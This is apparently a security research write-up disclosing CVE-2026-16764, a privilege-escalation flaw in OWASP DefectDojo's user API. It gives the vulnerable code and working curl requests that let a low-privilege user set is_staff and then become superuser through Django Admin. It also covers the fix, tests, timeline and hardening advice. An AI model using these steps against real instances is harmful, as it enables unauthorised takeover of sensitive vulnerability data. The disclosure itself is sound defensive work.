[EN] CVE-2026-16764: Missing validation, full access
JOIN
JOIN
RESEARCH ENTRY 2026.09.25
en

[EN] CVE-2026-16764: Missing validation, full access

RESEARCHER 0xNosferatu, Lucas William
READ TIME5 MINUTES
PUBLISHED25 Sep 2026
[EN] CVE-2026-16764: Missing validation, full access

OWASP DefectDojo is an open-source vulnerability management platform widely used by security teams to centralize, track, and prioritize findings from various scanning tools. Because it handles extremely sensitive data such as vulnerability reports, infrastructure configurations, and security metrics, the platform implements a Role-Based Access Control (RBAC) model.

However, a flaw in the validation of privileged fields in the REST API allowed a user with limited delegated permissions to escalate to superuser, completely compromising the application's security model.


Technical Analysis

Vulnerability Summary

The vulnerability has been cataloged as CVE-2026-16764, with advisory GHSA-w2j3-x3j3-mm43. It has a CVSS 3.1 score of 7.8 (High) and is classified under CWE-269 (Improper Privilege Management). The affected version is 2.59.0, and fixes are available in versions 2.58.3, 2.58.4, and 3.0.0.

Prerequisites

  • Authenticated DefectDojo account with a low-privilege user
  • Delegated permission Configuration → Users (change) (auth.change_user)
  • Access to REST API (/api/v2/)

The Role of is_staff in DefectDojo

To understand the severity of this vulnerability, it is essential to comprehend what the is_staff flag represents in the DefectDojo context.

According to the official documentation:

"Users marked as superuser or staff in DefectDojo can see and act on every Asset and Organization regardless of the Authorized Users lists."

This means that is_staff is not just a cosmetic administrative flag, it grants complete RBAC bypass. A user with is_staff=true:

  • Views all Products, Engagements, Tests, and Findings
  • Can edit/delete any record, regardless of team permissions
  • Accesses the Django Admin panel (/admin/)
  • Controls authorized user lists

In summary: is_staff is, functionally, almost equivalent to superuser.


Vulnerable Code

The vulnerability resides in the file dojo/api_v2/serializers.py, in the UserSerializer class.

The Problem: Incomplete Validation

The serializer exposed both is_staff and is_superuser as editable fields, but only validated changes to is_superuser:

# dojo/api_v2/serializers.py - UserSerializer

class UserSerializer(serializers.ModelSerializer):
    class Meta:
        model = Dojo_User
        fields = (
            "id", "username", "first_name", "last_name", "email",
            "is_active", "is_staff", "is_superuser",  # Both exposed
            # ...
        )

    def validate(self, data):
        # ...
        instance_is_superuser = self.instance.is_superuser if self.instance else False
        data_is_superuser = data.get("is_superuser", instance_is_superuser)
        
        if not self.context["request"].user.is_superuser and (
            instance_is_superuser or data_is_superuser
        ):
            raise ValidationError(
                "Only superusers are allowed to add or edit superusers."
            )
        
        # THIS IS WHERE THERE IS NO EQUIVALENT VALIDATION FOR is_staff!
        return data

The Django Admin Bypass

Additionally, access to the Django Admin panel (/admin/) was controlled by Django's default check:

# here is where the default Django behavior happens
def has_permission(request):
    return request.user.is_active and request.user.is_staff

The default Django Admin exposes the user edit form (UserAdmin), which allows any staff user with auth.change_user to edit the is_superuser checkbox, a well-known Django footgun.

The Authorization Bypass

The file dojo/authorization/query_registrations.py confirms that is_staff is treated as superuser for authorization purposes:

# dojo/authorization/query_registrations.py

def _is_unrestricted(user, action):
    # ...
    if user.is_superuser:
        return True
    return bool(user.is_staff)  # Here we can see that Staff bypasses ALL RBAC

Exploitation

The exploitation occurs in two phases:

Phase 1: Self-Elevation to Staff via API

A user with only auth.change_user can modify their own is_staff:

  1. We need to obtain the authentication token
LOW_TOKEN=$(curl -s -X POST \
  "http://[DEFECTDOJO]/api/v2/api-token-auth/" \
  -H "Content-Type: application/json" \
  --data '{"username":"attacker","password":"password123"}' \
  | jq -r .token)
  1. Let's confirm that is_superuser is blocked (this is the expected behavior)
curl -s -X PATCH \
  "http://[DEFECTDOJO]/api/v2/users/[USER_ID]/" \
  -H "Authorization: Token $LOW_TOKEN" \
  -H "Content-Type: application/json" \
  --data '{"is_superuser":true}'

The response will be a JSON containing the message: "Only superusers are allowed to add or edit superusers."

  1. After that, we can set is_staff
curl -s -X PATCH \
  "http://[DEFECTDOJO]/api/v2/users/[USER_ID]/" \
  -H "Authorization: Token $LOW_TOKEN" \
  -H "Content-Type: application/json" \
  --data '{"is_staff":true}'

The response will be: 200 OK - User is now staff!

Phase 2: Escalation to Superuser via Django Admin

With is_staff=true, the attacker now has access to /admin/:

  1. Access http://[DEFECTDOJO]/admin/
  2. Navigate to Auth → Users → [your user]
  3. Check the is_superuser checkbox
  4. Save

The default UserAdmin form does not block this action for staff users with change_user, completing the escalation to superuser.

Result

The video below demonstrates the complete exploitation, from an account with minimal privileges to full access as superuser.

0:00
/1:38

Based on this, an exploit was created to automatically exploit privilege escalation in the app.


Impact

Successful exploitation results in complete and persistent control of the DefectDojo instance:

Impact Description
Confidentiality Access to all findings, vulnerability reports, and scanning data from all teams
Integrity Ability to modify, delete, or hide critical findings
Availability Possibility of corrupting data or blocking access for other users
Persistence Creation of backdoors via new superusers

Attack Scenarios

  1. Insider Threat: Employee with limited access escalates privileges to access data from other teams
  2. Account Compromise: Attacker who compromises a "helpdesk" account escalates to full control
  3. Supply Chain: In multi-tenant environments, a malicious client compromises data from other clients

Implemented Fix

The fix was implemented in commit 68a272f and PR #14952.

1. is_staff Validation in UserSerializer

# dojo/api_v2/serializers.py - FIXED

def validate(self, data):
    request = self.context["request"]
    
    # Existing validation for is_superuser
    instance_is_superuser = self.instance.is_superuser if self.instance else False
    data_is_superuser = data.get("is_superuser", instance_is_superuser)
    if not request.user.is_superuser and (instance_is_superuser or data_is_superuser):
        raise ValidationError("Only superusers are allowed to add or edit superusers.")
    
    # NEW: Equivalent validation for is_staff
    instance_is_staff = self.instance.is_staff if self.instance else False
    data_is_staff = data.get("is_staff", instance_is_staff)
    if not request.user.is_superuser and data_is_staff != instance_is_staff:
        raise ValidationError("Only superusers are allowed to add or edit staff users.")
    
    return data

2. Django Admin Restricted to Superusers

# dojo/admin.py - FIXED

def _admin_site_has_permission(request):
    # Before: is_active and is_staff
    # After: ONLY superusers
    return request.user.is_active and request.user.is_superuser

admin.site.has_permission = _admin_site_has_permission

3. Django Admin Disabled by Default

# dojo/settings/settings.dist.py

# Before
DD_DJANGO_ADMIN_ENABLED = (bool, True)

# After
DD_DJANGO_ADMIN_ENABLED = (bool, False)

4. Unit Tests Added

The PR included 169 lines of tests covering:

  • Rejection of is_staff self-elevation
  • Rejection of third-party elevation
  • Rejection of creation with is_staff=True
  • Permission for superusers (positive control)
  • Blocking of non-superuser staff in /admin/

Timeline

Date Event
2026-06-02 Vulnerability reported via HackerOne
2026-06-05 Response received and finding validated
2026-06-08 Versions 2.58.3 and 3.0.0 released
2026-06-28 Advisory GHSA-w2j3-x3j3-mm43 published
2026-07-23 CVE-2026-16764 assigned

Recommendations

For DefectDojo Administrators

  1. Update to version 2.58.3, 2.58.4, or 3.0.0+
  2. Audit API logs looking for PATCH requests to /api/v2/users/ with is_staff
  3. Review users with is_staff and remove the flag from accounts that don't need it
  4. Keep DD_DJANGO_ADMIN_ENABLED=false unless absolutely necessary
  5. Implement monitoring for changes to privileged flags

For Developers

  1. Always validate all privileged fields, not just the obvious ones
  2. Treat is_staff as equivalent to superuser in Django applications
  3. Customize Django Admin to restrict editing of sensitive fields
  4. Implement security tests for privileged field validation
  5. Consider disabling Django Admin in production

Exposure Verification

# Check DefectDojo version
curl -s "http://[DEFECTDOJO]/api/v2/" | grep -i version

# Check if /admin/ is accessible
curl -s -I "http://[DEFECTDOJO]/admin/"

Let's Practice

Hacking Club is a training platform focused on the practical development of cybersecurity professionals. The Dojo challenge replicates, in a controlled environment, a service vulnerable to the flaw discussed in this article, allowing researchers and professionals to reinforce the concepts presented by exploiting the vulnerability within a secure laboratory setting.

References

Authors